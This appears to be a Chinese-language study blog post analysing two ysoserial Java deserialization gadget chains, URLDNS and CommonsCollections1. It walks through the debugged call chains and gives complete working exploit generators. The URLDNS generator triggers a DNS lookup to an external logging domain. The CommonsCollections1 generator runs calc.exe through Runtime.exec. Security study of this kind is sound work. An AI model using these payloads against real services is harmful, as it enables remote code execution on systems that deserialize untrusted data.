java反序列化-ysoserial-調試分析總結篇(1)

前言：

ysoserial很強大，花時間好好研究研究其中的利用鏈對於瞭解java語言的一些特性頗有幫助，也方便打好學習java安全的基礎，剛學反序列化時就分析過commoncollections，可是是跟着網上教程，本身理解也不夠充分，如今從新根據本身的調試進行理解，這篇文章先分析URLDNS和commonCollections1

利用鏈分析：

1.urldns

 

調用鏈如上圖所示，由hashmap的key進行hash計算時，若是key爲URL類的對象，則調用key.hashcode實際爲調用了URL類對象的hashcode，從而觸發dns解析，這個手寫exp也比較容易，設置hashCode爲1爲了putval時候從新計算hash，不然直接返回hashCode就觸發不了dns解析了

到這裏將觸發調用URL類的hashCode

 

exp.java:

package URLDNS;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Arrays;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, String> obj = new HashMap<URL, String>();
        String url = "http://p9tdlo.ceye.io";
        URL a_url = new URL(url);
        Class clazz = Class.forName("java.net.URL");
        Field field = null;
        field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(a_url,-1);
        obj.put(a_url,"tr1ple");
        //
        //序列化
        //
        FileOutputStream fo = new FileOutputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/urldns.ser");
        ObjectOutputStream obj_out = new ObjectOutputStream(fo);
        obj_out.writeObject(obj);
        obj_out.close();


        ByteArrayOutputStream  bo = new ByteArrayOutputStream();
        ObjectOutputStream bo_obj = new ObjectOutputStream(bo);
        bo_obj.writeObject(obj);
        bo_obj.close();
        String bo_str = Arrays.toString(bo.toByteArray());
        System.out.println("serialize byte code");
        System.out.println(bo_str);
    }

}

read.java

package URLDNS;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class ReadObj {
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
   // System.out.println(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/4.ser");
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/resources/urldns.ser"));
        o.readObject();

    }
}

2.commonCollections1

 調用鏈如上圖所示

 反序列化首先從invokecationhandler的readObject開始

 而後調用lazymap的readObject

這裏是由於構造payload的時候，實際上將proxy.newinstance建立的proxy代理類傳進handler，那麼實際上反序列化的時候根據序列化數據的排列順序，應該首先調用外層invokecationhandler的readObject，而後調用內部成員變量的readObject

 緣由正是在反序列化正常的流程中，defaultReadFields方法，讀取序列化數據，其入口參數即外部的對象，以及該對象的類

 在該函數內部將讀取外層對象的域，並依次將其反序列化，因此這裏實際上invocationhandler只是一個容器做用，將實際要反序列化的代理proxy放進去，而後就會調用proxy的readObject()，而後恢復代理的lazpmap，包括後面還要進行hashmap的readObject(lazymap做爲容器將其裝進去)，恢復hashmap

 將全部對象還原後，在invokecationhandler的readObject中將調用memerValues.entrySet,而咱們知道被裝進容器的是被代理的lazymap類，此時調用proxy代理的entrySet，那麼此時將觸發代理類的invoke函數

 此時將handler中不存在entryset，此時將調用lazymap.get(「entrySet」)

 在get函數中將調用this.factory.transform,而此時this.factory爲定義的用於執行命令的轉換鏈

在chained轉換鏈中，將循環調用屬性iTranformers中的transformer方法

 第一次：

第一次調用ConstantTransformer類，將直接返回iConstant

 

 而此時即返回類Runtime

第二次： 

第二次循環進來即調用invokeTransformer來反射調用方法，而且返回object，而且這裏面的方法名，和參數都是可控的，所以纔可以在這裏定義rce的命令，可以找到這種可以利用的類真的是牛逼。。

 

 那麼反射先拿到java.lang.class ，按道理拿到類Runtime，就能夠直接反射getRunme方法，這裏拿到getMethod方法，而後再反射調用Runtime的getMethod拿到getRuntime方法

第三次：

 這裏實際上就是反射調用getRuntime了，此時將返回Runtime類的實例

第4輪:

此時已經有了Runtime類的實例，就能夠調用exec執行命令了

 此時將RCE執行clac.exe

 

 

瞭解完整個觸發以及調用過程就能夠手寫exp了，方便加深對該利用鏈的認識

手寫exp：

 exp.java

package CommonsCollections1;
import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.Runtime;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

public class exp {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
      final Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                        ),//拿到getruntime方法
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}),//拿到runtime類
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"})//rce
      };

      final Transformer chained = new ChainedTransformer(trans);
      final Map innerMap = new HashMap();
      final Map outMap = LazyMap.decorate(innerMap,chained);

      final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      han_con.setAccessible(true);
      InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap);

      final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han);


      final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
      out_con.setAccessible(true);
      InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy);

      FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser"));
      ObjectOutputStream obj = new ObjectOutputStream(fo);
      obj.writeObject(out);
      obj.close();
    }
}

readObj.java

package CommonsCollections1;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.lang.Runtime;

//jdk<=8u71
//
public class readObj {
    public static void main(String[] args) throws IOException {
        FileInputStream fi = new FileInputStream(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser");
        ObjectInputStream  obj_in = new ObjectInputStream(fi);
        try {
            obj_in.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}